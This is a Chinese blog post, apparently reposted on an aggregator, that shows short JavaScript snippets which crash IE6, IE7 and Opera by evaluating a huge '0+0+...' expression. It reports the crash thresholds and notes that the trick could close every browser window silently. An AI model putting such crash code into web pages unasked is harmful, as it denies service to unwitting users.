zoukankan      html  css  js  c++  java
  • 为IE找个新死法

    IE在解释表达式的时候显然大有优化的余地,FireFox就没这个毛病。下面这段小代码可以轻松让IE崩溃掉:
    var n=32768;
    var s=new Array(n).join("0+")+0;
    if(confirm("真的要杀了浏览器吗?")){
        eval(s);
        alert(
    "杀不掉,试试把n调大一点?");
    }

    其实就是让IE解析一个“0+0+0+0....”的表达式。
    在我的机器上,IE6跑到32255个加法计算就自动关闭了(可以作为一个新的无提示关闭浏览器漏洞呵呵,会把同一个进程打开的全部窗口一起杀掉),IE7还要差些,在31515就挂了。opera也好不到哪里去,32180就崩溃了。而FireFox一直跑到2^27(ie和opera还不到2^15)的时候把我的内存全吃光了,在虚拟内存支持下还是可以执行完成:
    var s="0+",n=27 ;
    for(var i=0;i<n;i++) s+=s; 
    alert(s.length
    /2
    s
    +=0
    if(confirm("真的要杀了浏览器吗?")){ 
    eval(s); 
    alert(
    "杀不掉,试试把n调大一点?"); 
    }
     
  • 相关阅读:
    25号了
    9月特别日程
    26日 晴
    8月22日 出游时间更改
    雷雨过后
    28日 多云
    080826 小雨(补记)
    080822 阴
    27日 晴
    IOS 5 ARC机制 (一)
  • 原文地址:https://www.cnblogs.com/stonehuang/p/6603199.html
Copyright © 2011-2022 走看看